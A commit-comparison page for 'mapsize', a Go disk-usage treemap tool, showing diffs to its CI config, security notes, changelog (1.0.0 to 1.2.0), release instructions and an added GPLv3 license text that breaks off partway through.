Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8d9344cfef | ||
|
|
352d4292df | ||
|
|
9184c8e76b | ||
|
|
92da028d0f | ||
|
|
c150ad844a | ||
|
|
b009ac3cbf | ||
|
|
3264def658 | ||
|
|
5966fdd91e | ||
|
|
1f9429ea74 | ||
|
|
3ec5bd7e65 | ||
|
|
ab3ff7b842 | ||
|
|
c40f71352d | ||
|
|
f7b1816908 | ||
|
|
bea1decbd3 | ||
|
|
212f7229f6 |
@@ -2,6 +2,8 @@ name: ci
|
|||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
pull_request:
|
pull_request:
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
jobs:
|
jobs:
|
||||||
test:
|
test:
|
||||||
strategy:
|
strategy:
|
||||||
|
|||||||
+4
-1
@@ -296,9 +296,12 @@ Filenames and snapshot contents are untrusted.
|
|||||||
* Snapshot decoding validates magic, version, every length, every parent
|
* Snapshot decoding validates magic, version, every length, every parent
|
||||||
reference (a parent must precede its child, so cycles are impossible),
|
reference (a parent must precede its child, so cycles are impossible),
|
||||||
depth (≤ 4096 levels, bounding recursion in exporters), per-node sizes
|
depth (≤ 4096 levels, bounding recursion in exporters), per-node sizes
|
||||||
(≤ 1 EiB) and node count; caps the decompressed body at 64× the file size
|
(≤ 1 EiB) and node count (at most one node per byte of snapshot file, 1 Mi floor); caps the decompressed body at 64× the file size
|
||||||
(decompression bombs fail fast); and verifies a SHA-256 trailer.
|
(decompression bombs fail fast); and verifies a SHA-256 trailer.
|
||||||
Aggregates are recomputed with saturating arithmetic rather than trusted.
|
Aggregates are recomputed with saturating arithmetic rather than trusted.
|
||||||
* No shell is ever invoked. "Open/reveal" and trash use direct `exec` with
|
* No shell is ever invoked. "Open/reveal" and trash use direct `exec` with
|
||||||
argument vectors or native APIs; paths are passed as single arguments.
|
argument vectors or native APIs; paths are passed as single arguments.
|
||||||
|
* Permanent delete (headless only) checks the item's owner and type against
|
||||||
|
the scan and removes it through an `os.Root` on the parent directory, so
|
||||||
|
a symlink swapped in since the scan cannot redirect it.
|
||||||
* `--read-only` disables every mutating action in the UI.
|
* `--read-only` disables every mutating action in the UI.
|
||||||
|
|||||||
+45
-1
@@ -1,11 +1,36 @@
|
|||||||
# Changelog
|
# Changelog
|
||||||
|
|
||||||
## Unreleased
|
## 1.2.0 — 2026-10-03
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- On a headless Linux or BSD system (no `DISPLAY` or `WAYLAND_DISPLAY`), `d`
|
||||||
|
deletes permanently after an "are you sure" confirmation instead of moving
|
||||||
|
to a trash nobody empties, and `o` shows the folder in the map instead of
|
||||||
|
trying to open a file manager. Desktop sessions, macOS and Windows still
|
||||||
|
use the trash and the file manager.
|
||||||
|
|
||||||
|
## 1.1.0 — 2026-10-03
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Map: folders that contain a single subfolder (`mnt/raid/media/`) now
|
||||||
|
collapse into one label instead of each taking a nesting level, so the
|
||||||
|
map at `/` reaches the shows, seasons and individual files. Nesting goes as
|
||||||
|
deep as the block sizes allow (previously a fixed 3 levels), and nested
|
||||||
|
blocks show their size and percentage of their parent folder.
|
||||||
|
|
||||||
|
## 1.0.0 — 2026-10-02
|
||||||
|
|
||||||
|
First stable release. The snapshot format (version 1) is now stable: later
|
||||||
|
1.x releases will keep reading version 1 snapshots.
|
||||||
|
|
||||||
|
### Engine
|
||||||
- Bounded concurrent scanner with incremental aggregation, cancellation,
|
- Bounded concurrent scanner with incremental aggregation, cancellation,
|
||||||
hard-link and symlink-loop handling, error accounting.
|
hard-link and symlink-loop handling, error accounting.
|
||||||
- Non-interactive reports: `--top`, `--largest-files`, `--json`, `--csv`,
|
- Non-interactive reports: `--top`, `--largest-files`, `--json`, `--csv`,
|
||||||
`--duplicates`, `--no-ui`.
|
`--duplicates`, `--no-ui`.
|
||||||
- Versioned, checksummed snapshot format; `--compare`.
|
- Versioned, checksummed snapshot format; `--compare`.
|
||||||
|
|
||||||
|
### Interface
|
||||||
- Interactive TUI (Bubble Tea v2): live squarified treemap with nested
|
- Interactive TUI (Bubble Tea v2): live squarified treemap with nested
|
||||||
previews and level-of-detail grouping, spatial arrow navigation, zoom,
|
previews and level-of-detail grouping, spatial arrow navigation, zoom,
|
||||||
breadcrumbs, responsive layouts, info/help/confirm/save modals, mouse.
|
breadcrumbs, responsive layouts, info/help/confirm/save modals, mouse.
|
||||||
@@ -16,3 +41,22 @@
|
|||||||
perceptual 256-colour quantizer, NO_COLOR support.
|
perceptual 256-colour quantizer, NO_COLOR support.
|
||||||
- Move to trash (freedesktop / macOS / Windows), `--read-only`.
|
- Move to trash (freedesktop / macOS / Windows), `--read-only`.
|
||||||
- `treegen` synthetic tree generator; benchmarks in PERFORMANCE.md.
|
- `treegen` synthetic tree generator; benchmarks in PERFORMANCE.md.
|
||||||
|
|
||||||
|
### Packaging and documentation
|
||||||
|
- `mapsize(1)` manual page; `make install` installs binary and man page.
|
||||||
|
- `make release`: archives for Linux, macOS, Windows and the BSDs, plus
|
||||||
|
.deb, .rpm, .apk and Arch packages (with the man page) and SHA256SUMS.
|
||||||
|
- Version stamped into release builds.
|
||||||
|
- Homebrew formula template and `make brew-formula`.
|
||||||
|
|
||||||
|
### Hardening
|
||||||
|
- Snapshot loader rejects over-deep trees, decompression bombs and
|
||||||
|
out-of-range sizes; aggregates saturate instead of overflowing.
|
||||||
|
- Exclusion patterns from snapshot metadata are sanitised in reports.
|
||||||
|
- Duplicate, trash and filter results belonging to a replaced tree (after
|
||||||
|
a rescan) are discarded.
|
||||||
|
- Linux trash refuses symlinked or foreign trash directories on shared
|
||||||
|
filesystems and never overwrites an earlier trashed item.
|
||||||
|
- Symlinks are not followed on platforms without inode identity; the
|
||||||
|
unscanned-directory count and post-cancel errors are reported correctly.
|
||||||
|
- Path filters evaluate incrementally (2× faster on 1M entries).
|
||||||
|
|||||||
+49
-1
@@ -9,9 +9,57 @@ make race # go test -race ./...
|
|||||||
make vet fmt-check
|
make vet fmt-check
|
||||||
make benchmark # go test -bench
|
make benchmark # go test -bench
|
||||||
make fuzz # short fuzz runs of snapshot / treemap / filter
|
make fuzz # short fuzz runs of snapshot / treemap / filter
|
||||||
make release # cross-compiled binaries in bin/release
|
make release # release archives and packages in bin/release
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Releasing
|
||||||
|
|
||||||
|
Example for 1.2.0; substitute the real version throughout.
|
||||||
|
|
||||||
|
1. Update the version in `internal/brand/brand.go` and `docs/mapsize.1`,
|
||||||
|
and add a `## 1.2.0` section to CHANGELOG.md. Commit.
|
||||||
|
2. Tag and push:
|
||||||
|
```sh
|
||||||
|
git tag -a v1.2.0 -m "mapsize 1.2.0"
|
||||||
|
git push origin master v1.2.0
|
||||||
|
```
|
||||||
|
3. Build everything (archives, .deb/.rpm/.apk/Arch packages, SHA256SUMS
|
||||||
|
into `bin/release`; the first run downloads `nfpm`):
|
||||||
|
```sh
|
||||||
|
make release VERSION=v1.2.0
|
||||||
|
```
|
||||||
|
4. Publish the GitHub release with the changelog section as notes:
|
||||||
|
```sh
|
||||||
|
awk '/^## 1.2.0/{f=1;next} /^## /{f=0} f' CHANGELOG.md > /tmp/notes.md
|
||||||
|
gh release create v1.2.0 --title v1.2.0 --notes-file /tmp/notes.md bin/release/*
|
||||||
|
```
|
||||||
|
5. Update Homebrew. This needs the tag pushed (step 2), because it
|
||||||
|
checksums GitHub's source tarball for that tag:
|
||||||
|
```sh
|
||||||
|
make brew-formula VERSION=v1.2.0 # writes bin/homebrew/mapsize.rb
|
||||||
|
git clone https://github.com/andydixon/homebrew-tap /tmp/tap
|
||||||
|
cp bin/homebrew/mapsize.rb /tmp/tap/Formula/mapsize.rb
|
||||||
|
git -C /tmp/tap commit -am "mapsize 1.2.0" && git -C /tmp/tap push
|
||||||
|
```
|
||||||
|
Users get it with `brew upgrade mapsize`. Template:
|
||||||
|
`packaging/homebrew/mapsize.rb.in`.
|
||||||
|
6. Publish to the apt, dnf and pacman repository at repo.dixon.cx. This
|
||||||
|
builds signed .deb, .rpm and Arch packages from the tag and rebuilds the
|
||||||
|
repository indexes (needs docker, gpg, apt-ftparchive and the signing key
|
||||||
|
in `~/.config/repo.dixon.cx/gnupg`):
|
||||||
|
```sh
|
||||||
|
packaging/repo.sh v1.2.0
|
||||||
|
```
|
||||||
|
The same script, with its own project block, publishes vault.
|
||||||
|
|
||||||
|
Always pass `VERSION=`: otherwise it comes from `git describe`, which only
|
||||||
|
matches the tag when HEAD is exactly the tagged commit. `make release` and
|
||||||
|
the Homebrew formula stamp the version into the binary; `make build` and
|
||||||
|
`go install` use the value in `brand.go`, which is why step 1 updates it.
|
||||||
|
|
||||||
|
The snapshot format is stable at version 1: a format change must bump
|
||||||
|
`snapshot.Version` and keep the reader for version 1.
|
||||||
|
|
||||||
## Test data
|
## Test data
|
||||||
|
|
||||||
`treegen` creates synthetic trees:
|
`treegen` creates synthetic trees:
|
||||||
|
|||||||
@@ -0,0 +1,675 @@
|
|||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
Version 3, 29 June 2007
|
||||||
|
|
||||||
|
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||||
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
Preamble
|
||||||
|
|
||||||
|
The GNU General Public License is a free, copyleft license for
|
||||||
|
software and other kinds of works.
|
||||||
|
|
||||||
|
The licenses for most software and other practical works are designed
|
||||||
|
to take away your freedom to share and change the works. By contrast,
|
||||||
|
the GNU General Public License is intended to guarantee your freedom to
|
||||||
|
share and change all versions of a program--to make sure it remains free
|
||||||
|
software for all its users. We, the Free Software Foundation, use the
|
||||||
|
GNU General Public License for most of our software; it applies also to
|
||||||
|
any other work released this way by its authors. You can apply it to
|
||||||
|
your programs, too.
|
||||||
|
|
||||||
|
When we speak of free software, we are referring to freedom, not
|
||||||
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
|
have the freedom to distribute copies of free software (and charge for
|
||||||
|
them if you wish), that you receive source code or can get it if you
|
||||||
|
want it, that you can change the software or use pieces of it in new
|
||||||
|
free programs, and that you know you can do these things.
|
||||||
|
|
||||||
|
To protect your rights, we need to prevent others from denying you
|
||||||
|
these rights or asking you to surrender the rights. Therefore, you have
|
||||||
|
certain responsibilities if you distribute copies of the software, or if
|
||||||
|
you modify it: responsibilities to respect the freedom of others.
|
||||||
|
|
||||||
|
For example, if you distribute copies of such a program, whether
|
||||||
|
gratis or for a fee, you must pass on to the recipients the same
|
||||||
|
freedoms that you received. You must make sure that they, too, receive
|
||||||
|
or can get the source code. And you must show them these terms so they
|
||||||
|
know their rights.
|
||||||
|
|
||||||
|
Developers that use the GNU GPL protect your rights with two steps:
|
||||||
|
(1) assert copyright on the software, and (2) offer you this License
|
||||||
|
giving you legal permission to copy, distribute and/or modify it.
|
||||||
|
|
||||||
|
For the developers' and authors' protection, the GPL clearly explains
|
||||||
|
that there is no warranty for this free software. For both users' and
|
||||||
|
authors' sake, the GPL requires that modified versions be marked as
|
||||||
|
changed, so that their problems will not be attributed erroneously to
|
||||||
|
authors of previous versions.
|
||||||
|
|
||||||
|
Some devices are designed to deny users access to install or run
|
||||||
|
modified versions of the software inside them, although the manufacturer
|
||||||
|
can do so. This is fundamentally incompatible with the aim of
|
||||||
|
protecting users' freedom to change the software. The systematic
|
||||||
|
pattern of such abuse occurs in the area of products for individuals to
|
||||||
|
use, which is precisely where it is most unacceptable. Therefore, we
|
||||||
|
have designed this version of the GPL to prohibit the practice for those
|
||||||
|
products. If such problems arise substantially in other domains, we
|
||||||
|
stand ready to extend this provision to those domains in future versions
|
||||||
|
of the GPL, as needed to protect the freedom of users.
|
||||||
|
|
||||||
|
Finally, every program is threatened constantly by software patents.
|
||||||
|
States should not allow patents to restrict development and use of
|
||||||
|
software on general-purpose computers, but in those that do, we wish to
|
||||||
|
avoid the special danger that patents applied to a free program could
|
||||||
|
make it effectively proprietary. To prevent this, the GPL assures that
|
||||||
|
patents cannot be used to render the program non-free.
|
||||||
|
|
||||||
|
The precise terms and conditions for copying, distribution and
|
||||||
|
modification follow.
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
0. Definitions.
|
||||||
|
|
||||||
|
"This License" refers to version 3 of the GNU General Public License.
|
||||||
|
|
||||||
|
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||||
|
works, such as semiconductor masks.
|
||||||
|
|
||||||
|
"The Program" refers to any copyrightable work licensed under this
|
||||||
|
License. Each licensee is addressed as "you". "Licensees" and
|
||||||
|
"recipients" may be individuals or organizations.
|
||||||
|
|
||||||
|
To "modify" a work means to copy from or adapt all or part of the work
|
||||||
|
in a fashion requiring copyright permission, other than the making of an
|
||||||
|
exact copy. The resulting work is called a "modified version" of the
|
||||||
|
earlier work or a work "based on" the earlier work.
|
||||||
|
|
||||||
|
A "covered work" means either the unmodified Program or a work based
|
||||||
|
on the Program.
|
||||||
|
|
||||||
|
To "propagate" a work means to do anything with it that, without
|
||||||
|
permission, would make you directly or secondarily liable for
|
||||||
|
infringement under applicable copyright law, except executing it on a
|
||||||
|
computer or modifying a private copy. Propagation includes copying,
|
||||||
|
distribution (with or without modification), making available to the
|
||||||
|
public, and in some countries other activities as well.
|
||||||
|
|
||||||
|
To "convey" a work means any kind of propagation that enables other
|
||||||
|
parties to make or receive copies. Mere interaction with a user through
|
||||||
|
a computer network, with no transfer of a copy, is not conveying.
|
||||||
|
|
||||||
|
An interactive user interface displays "Appropriate Legal Notices"
|
||||||
|
to the extent that it includes a convenient and prominently visible
|
||||||
|
feature that (1) displays an appropriate copyright notice, and (2)
|
||||||
|
tells the user that there is no warranty for the work (except to the
|
||||||
|
extent that warranties are provided), that licensees may convey the
|
||||||
|
work under this License, and how to view a copy of this License. If
|
||||||
|
the interface presents a list of user commands or options, such as a
|
||||||
|
menu, a prominent item in the list meets this criterion.
|
||||||
|
|
||||||
|
1. Source Code.
|
||||||
|
|
||||||
|
The "source code" for a work means the preferred form of the work
|
||||||
|
for making modifications to it. "Object code" means any non-source
|
||||||
|
form of a work.
|
||||||
|
|
||||||
|
A "Standard Interface" means an interface that either is an official
|
||||||
|
standard defined by a recognized standards body, or, in the case of
|
||||||
|
interfaces specified for a particular programming language, one that
|
||||||
|
is widely used among developers working in that language.
|
||||||
|
|
||||||
|
The "System Libraries" of an executable work include anything, other
|
||||||
|
than the work as a whole, that (a) is included in the normal form of
|
||||||
|
packaging a Major Component, but which is not part of that Major
|
||||||
|
Component, and (b) serves only to enable use of the work with that
|
||||||
|
Major Component, or to implement a Standard Interface for which an
|
||||||
|
implementation is available to the public in source code form. A
|
||||||
|
"Major Component", in this context, means a major essential component
|
||||||
|
(kernel, window system, and so on) of the specific operating system
|
||||||
|
(if any) on which the executable work runs, or a compiler used to
|
||||||
|
produce the work, or an object code interpreter used to run it.
|
||||||
|
|
||||||
|
The "Corresponding Source" for a work in object code form means all
|
||||||
|
the source code needed to generate, install, and (for an executable
|
||||||
|
work) run the object code and to modify the work, including scripts to
|
||||||
|
control those activities. However, it does not include the work's
|
||||||
|
System Libraries, or general-purpose tools or generally available free
|
||||||
|
programs which are used unmodified in performing those activities but
|
||||||
|
which are not part of the work. For example, Corresponding Source
|
||||||
|
includes interface definition files associated with source files for
|
||||||
|
the work, and the source code for shared libraries and dynamically
|
||||||
|
linked subprograms that the work is specifically designed to require,
|
||||||
|
such as by intimate data communication or control flow between those
|
||||||
|
subprograms and other parts of the work.
|
||||||
|
|
||||||
|
The Corresponding Source need not include anything that users
|
||||||
|
can regenerate automatically from other parts of the Corresponding
|
||||||
|
Source.
|
||||||
|
|
||||||
|
The Corresponding Source for a work in source code form is that
|
||||||
|
same work.
|
||||||
|
|
||||||
|
2. Basic Permissions.
|
||||||
|
|
||||||
|
All rights granted under this License are granted for the term of
|
||||||
|
copyright on the Program, and are irrevocable provided the stated
|
||||||
|
conditions are met. This License explicitly affirms your unlimited
|
||||||
|
permission to run the unmodified Program. The output from running a
|
||||||
|
covered work is covered by this License only if the output, given its
|
||||||
|
content, constitutes a covered work. This License acknowledges your
|
||||||
|
rights of fair use or other equivalent, as provided by copyright law.
|
||||||
|
|
||||||
|
You may make, run and propagate covered works that you do not
|
||||||
|
convey, without conditions so long as your license otherwise remains
|
||||||
|
in force. You may convey covered works to others for the sole purpose
|
||||||
|
of having them make modifications exclusively for you, or provide you
|
||||||
|
with facilities for running those works, provided that you comply with
|
||||||
|
the terms of this License in conveying all material for which you do
|
||||||
|
not control copyright. Those thus making or running the covered works
|
||||||
|
for you must do so exclusively on your behalf, under your direction
|
||||||
|
and control, on terms that prohibit them from making any copies of
|
||||||
|
your copyrighted material outside their relationship with you.
|
||||||
|
|
||||||
|
Conveying under any other circumstances is permitted solely under
|
||||||
|
the conditions stated below. Sublicensing is not allowed; section 10
|
||||||
|
makes it unnecessary.
|
||||||
|
|
||||||
|
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||||
|
|
||||||
|
No covered work shall be deemed part of an effective technological
|
||||||
|
measure under any applicable law fulfilling obligations under article
|
||||||
|
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||||
|
similar laws prohibiting or restricting circumvention of such
|
||||||
|
measures.
|
||||||
|
|
||||||
|
When you convey a covered work, you waive any legal power to forbid
|
||||||
|
circumvention of technological measures to the extent such circumvention
|
||||||
|
is effected by exercising rights under this License with respect to
|
||||||
|
the covered work, and you disclaim any intention to limit operation or
|
||||||
|
modification of the work as a means of enforcing, against the work's
|
||||||
|
users, your or third parties' legal rights to forbid circumvention of
|
||||||
|
technological measures.
|
||||||
|
|
||||||
|
4. Conveying Verbatim Copies.
|
||||||
|
|
||||||
|
You may convey verbatim copies of the Program's source code as you
|
||||||
|
receive it, in any medium, provided that you conspicuously and
|
||||||
|
appropriately publish on each copy an appropriate copyright notice;
|
||||||
|
keep intact all notices stating that this License and any
|
||||||
|
non-permissive terms added in accord with section 7 apply to the code;
|
||||||
|
keep intact all notices of the absence of any warranty; and give all
|
||||||
|
recipients a copy of this License along with the Program.
|
||||||
|
|
||||||
|
You may charge any price or no price for each copy that you convey,
|
||||||
|
and you may offer support or warranty protection for a fee.
|
||||||
|
|
||||||
|
5. Conveying Modified Source Versions.
|
||||||
|
|
||||||
|
You may convey a work based on the Program, or the modifications to
|
||||||
|
produce it from the Program, in the form of source code under the
|
||||||
|
terms of section 4, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) The work must carry prominent notices stating that you modified
|
||||||
|
it, and giving a relevant date.
|
||||||
|
|
||||||
|
b) The work must carry prominent notices stating that it is
|
||||||
|
released under this License and any conditions added under section
|
||||||
|
7. This requirement modifies the requirement in section 4 to
|
||||||
|
"keep intact all notices".
|
||||||
|
|
||||||
|
c) You must license the entire work, as a whole, under this
|
||||||
|
License to anyone who comes into possession of a copy. This
|
||||||
|
License will therefore apply, along with any applicable section 7
|
||||||
|
additional terms, to the whole of the work, and all its parts,
|
||||||
|
regardless of how they are packaged. This License gives no
|
||||||
|
permission to license the work in any other way, but it does not
|
||||||
|
invalidate such permission if you have separately received it.
|
||||||
|
|
||||||
|
d) If the work has interactive user interfaces, each must display
|
||||||
|
Appropriate Legal Notices; however, if the Program has interactive
|
||||||
|
interfaces that do not display Appropriate Legal Notices, your
|
||||||
|
work need not make them do so.
|
||||||
|
|
||||||
|
A compilation of a covered work with other separate and independent
|
||||||
|
works, which are not by their nature extensions of the covered work,
|
||||||
|
and which are not combined with it such as to form a larger program,
|
||||||
|
in or on a volume of a storage or distribution medium, is called an
|
||||||
|
"aggregate" if the compilation and its resulting copyright are not
|
||||||
|
used to limit the access or legal rights of the compilation's users
|
||||||
|
beyond what the individual works permit. Inclusion of a covered work
|
||||||
|
in an aggregate does not cause this License to apply to the other
|
||||||
|
parts of the aggregate.
|
||||||
|
|
||||||
|
6. Conveying Non-Source Forms.
|
||||||
|
|
||||||
|
You may convey a covered work in object code form under the terms
|
||||||
|
of sections 4 and 5, provided that you also convey the
|
||||||
|
machine-readable Corresponding Source under the terms of this License,
|
||||||
|
in one of these ways:
|
||||||
|
|
||||||
|
a) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by the
|
||||||
|
Corresponding Source fixed on a durable physical medium
|
||||||
|
customarily used for software interchange.
|
||||||
|
|
||||||
|
b) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by a
|
||||||
|
written offer, valid for at least three years and valid for as
|
||||||
|
long as you offer spare parts or customer support for that product
|
||||||
|
model, to give anyone who possesses the object code either (1) a
|
||||||
|
copy of the Corresponding Source for all the software in the
|
||||||
|
product that is covered by this License, on a durable physical
|
||||||
|
medium customarily used for software interchange, for a price no
|
||||||
|
more than your reasonable cost of physically performing this
|
||||||
|
conveying of source, or (2) access to copy the
|
||||||
|
Corresponding Source from a network server at no charge.
|
||||||
|
|
||||||
|
c) Convey individual copies of the object code with a copy of the
|
||||||
|
written offer to provide the Corresponding Source. This
|
||||||
|
alternative is allowed only occasionally and noncommercially, and
|
||||||
|
only if you received the object code with such an offer, in accord
|
||||||
|
with subsection 6b.
|
||||||
|
|
||||||
|
d) Convey the object code by offering access from a designated
|
||||||
|
place (gratis or for a charge), and offer equivalent access to the
|
||||||
|
Corresponding Source in the same way through the same place at no
|
||||||
|
further charge. You need not require recipients to copy the
|
||||||
|
Corresponding Source along with the object code. If the place to
|
||||||
|
copy the object code is a network server, the Corresponding Source
|
||||||
|
may be on a different server (operated by you or a third party)
|
||||||
|
that supports equivalent copying facilities, provided you maintain
|
||||||
|
clear directions next to the object code saying where to find the
|
||||||
|
Corresponding Source. Regardless of what server hosts the
|
||||||
|
Corresponding Source, you remain obligated to ensure that it is
|
||||||
|
available for as long as needed to satisfy these requirements.
|
||||||
|
|
||||||
|
e) Convey the object code using peer-to-peer transmission, provided
|
||||||
|
you inform other peers where the object code and Corresponding
|
||||||
|
Source of the work are being offered to the general public at no
|
||||||
|
charge under subsection 6d.
|
||||||
|
|
||||||
|
A separable portion of the object code, whose source code is excluded
|
||||||
|
from the Corresponding Source as a System Library, need not be
|
||||||
|
included in conveying the object code work.
|
||||||
|
|
||||||
|
A "User Product" is either (1) a "consumer product", which means any
|
||||||
|
tangible personal property which is normally used for personal, family,
|
||||||
|
or household purposes, or (2) anything designed or sold for incorporation
|
||||||
|
into a dwelling. In determining whether a product is a consumer product,
|
||||||
|
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||||
|
product received by a particular user, "normally used" refers to a
|
||||||
|
typical or common use of that class of product, regardless of the status
|
||||||
|
of the particular user or of the way in which the particular user
|
||||||
|
actually uses, or expects or is expected to use, the product. A product
|
||||||
|
is a consumer product regardless of whether the product has substantial
|
||||||
|
commercial, industrial or non-consumer uses, unless such uses represent
|
||||||
|
the only significant mode of use of the product.
|
||||||
|
|
||||||
|
"Installation Information" for a User Product means any methods,
|
||||||
|
procedures, authorization keys, or other information required to install
|
||||||
|
and execute modified versions of a covered work in that User Product from
|
||||||
|
a modified version of its Corresponding Source. The information must
|
||||||
|
suffice to ensure that the continued functioning of the modified object
|
||||||
|
code is in no case prevented or interfered with solely because
|
||||||
|
modification has been made.
|
||||||
|
|
||||||
|
If you convey an object code work under this section in, or with, or
|
||||||
|
specifically for use in, a User Product, and the conveying occurs as
|
||||||
|
part of a transaction in which the right of possession and use of the
|
||||||
|
User Product is transferred to the recipient in perpetuity or for a
|
||||||
|
fixed term (regardless of how the transaction is characterized), the
|
||||||
|
Corresponding Source conveyed under this section must be accompanied
|
||||||
|
by the Installation Information. But this requirement does not apply
|
||||||
|
if neither you nor any third party retains the ability to install
|
||||||
|
modified object code on the User Product (for example, the work has
|
||||||
|
been installed in ROM).
|
||||||
|
|
||||||
|
The requirement to provide Installation Information does not include a
|
||||||
|
requirement to continue to provide support service, warranty, or updates
|
||||||
|
for a work that has been modified or installed by the recipient, or for
|
||||||
|
the User Product in which it has been modified or installed. Access to a
|
||||||
|
network may be denied when the modification itself materially and
|
||||||
|
adversely affects the operation of the network or violates the rules and
|
||||||
|
protocols for communication across the network.
|
||||||
|
|
||||||
|
Corresponding Source conveyed, and Installation Information provided,
|
||||||
|
in accord with this section must be in a format that is publicly
|
||||||
|
documented (and with an implementation available to the public in
|
||||||
|
source code form), and must require no special password or key for
|
||||||
|
unpacking, reading or copying.
|
||||||
|
|
||||||
|
7. Additional Terms.
|
||||||
|
|
||||||
|
"Additional permissions" are terms that supplement the terms of this
|
||||||
|
License by making exceptions from one or more of its conditions.
|
||||||
|
Additional permissions that are applicable to the entire Program shall
|
||||||
|
be treated as though they were included in this License, to the extent
|
||||||
|
that they are valid under applicable law. If additional permissions
|
||||||
|
apply only to part of the Program, that part may be used separately
|
||||||
|
under those permissions, but the entire Program remains governed by
|
||||||
|
this License without regard to the additional permissions.
|
||||||
|
|
||||||
|
When you convey a copy of a covered work, you may at your option
|
||||||
|
remove any additional permissions from that copy, or from any part of
|
||||||
|
it. (Additional permissions may be written to require their own
|
||||||
|
removal in certain cases when you modify the work.) You may place
|
||||||
|
additional permissions on material, added by you to a covered work,
|
||||||
|
for which you have or can give appropriate copyright permission.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, for material you
|
||||||
|
add to a covered work, you may (if authorized by the copyright holders of
|
||||||
|
that material) supplement the terms of this License with terms:
|
||||||
|
|
||||||
|
a) Disclaiming warranty or limiting liability differently from the
|
||||||
|
terms of sections 15 and 16 of this License; or
|
||||||
|
|
||||||
|
b) Requiring preservation of specified reasonable legal notices or
|
||||||
|
author attributions in that material or in the Appropriate Legal
|
||||||
|
Notices displayed by works containing it; or
|
||||||
|
|
||||||
|
c) Prohibiting misrepresentation of the origin of that material, or
|
||||||
|
requiring that modified versions of such material be marked in
|
||||||
|
reasonable ways as different from the original version; or
|
||||||
|
|
||||||
|
d) Limiting the use for publicity purposes of names of licensors or
|
||||||
|
authors of the material; or
|
||||||
|
|
||||||
|
e) Declining to grant rights under trademark law for use of some
|
||||||
|
trade names, trademarks, or service marks; or
|
||||||
|
|
||||||
|
f) Requiring indemnification of licensors and authors of that
|
||||||
|
material by anyone who conveys the material (or modified versions of
|
||||||
|
it) with contractual assumptions of liability to the recipient, for
|
||||||
|
any liability that these contractual assumptions directly impose on
|
||||||
|
those licensors and authors.
|
||||||
|
|
||||||
|
All other non-permissive additional terms are considered "further
|
||||||
|
restrictions" within the meaning of section 10. If the Program as you
|
||||||
|
received it, or any part of it, contains a notice stating that it is
|
||||||
|
governed by this License along with a term that is a further
|
||||||
|
restriction, you may remove that term. If a license document contains
|
||||||
|
a further restriction but permits relicensing or conveying under this
|
||||||
|
License, you may add to a covered work material governed by the terms
|
||||||
|
of that license document, provided that the further restriction does
|
||||||
|
not survive such relicensing or conveying.
|
||||||
|
|
||||||
|
If you add terms to a covered work in accord with this section, you
|
||||||
|
must place, in the relevant source files, a statement of the
|
||||||
|
additional terms that apply to those files, or a notice indicating
|
||||||
|
where to find the applicable terms.
|
||||||
|
|
||||||
|
Additional terms, permissive or non-permissive, may be stated in the
|
||||||
|
form of a separately written license, or stated as exceptions;
|
||||||
|
the above requirements apply either way.
|
||||||
|
|
||||||
|
8. Termination.
|
||||||
|
|
||||||
|
You may not propagate or modify a covered work except as expressly
|
||||||
|
provided under this License. Any attempt otherwise to propagate or
|
||||||
|
modify it is void, and will automatically terminate your rights under
|
||||||
|
this License (including any patent licenses granted under the third
|
||||||
|
paragraph of section 11).
|
||||||
|
|
||||||
|
However, if you cease all violation of this License, then your
|
||||||
|
license from a particular copyright holder is reinstated (a)
|
||||||
|
provisionally, unless and until the copyright holder explicitly and
|
||||||
|
finally terminates your license, and (b) permanently, if the copyright
|
||||||
|
holder fails to notify you of the violation by some reasonable means
|
||||||
|
prior to 60 days after the cessation.
|
||||||
|
|
||||||
|
Moreover, your license from a particular copyright holder is
|
||||||
|
reinstated permanently if the copyright holder notifies you of the
|
||||||
|
violation by some reasonable means, this is the first time you have
|
||||||
|
received notice of violation of this License (for any work) from that
|
||||||
|
copyright holder, and you cure the violation prior to 30 days after
|
||||||
|
your receipt of the notice.
|
||||||
|
|
||||||
|
Termination of your rights under this section does not terminate the
|
||||||
|
licenses of parties who have received copies or rights from you under
|
||||||
|
this License. If your rights have been terminated and not permanently
|
||||||
|
reinstated, you do not qualify to receive new licenses for the same
|
||||||
|
material under section 10.
|
||||||
|
|
||||||
|
9. Acceptance Not Required for Having Copies.
|
||||||
|
|
||||||
|
You are not required to accept this License in order to receive or
|
||||||
|
run a copy of the Program. Ancillary propagation of a covered work
|
||||||
|
occurring solely as a consequence of using peer-to-peer transmission
|
||||||
|
to receive a copy likewise does not require acceptance. However,
|
||||||
|
nothing other than this License grants you permission to propagate or
|
||||||
|
modify any covered work. These actions infringe copyright if you do
|
||||||
|
not accept this License. Therefore, by modifying or propagating a
|
||||||
|
covered work, you indicate your acceptance of this License to do so.
|
||||||
|
|
||||||
|
10. Automatic Licensing of Downstream Recipients.
|
||||||
|
|
||||||
|
Each time you convey a covered work, the recipient automatically
|
||||||
|
receives a license from the original licensors, to run, modify and
|
||||||
|
propagate that work, subject to this License. You are not responsible
|
||||||
|
for enforcing compliance by third parties with this License.
|
||||||
|
|
||||||
|
An "entity transaction" is a transaction transferring control of an
|
||||||
|
organization, or substantially all assets of one, or subdividing an
|
||||||
|
organization, or merging organizations. If propagation of a covered
|
||||||
|
work results from an entity transaction, each party to that
|
||||||
|
transaction who receives a copy of the work also receives whatever
|
||||||
|
licenses to the work the party's predecessor in interest had or could
|
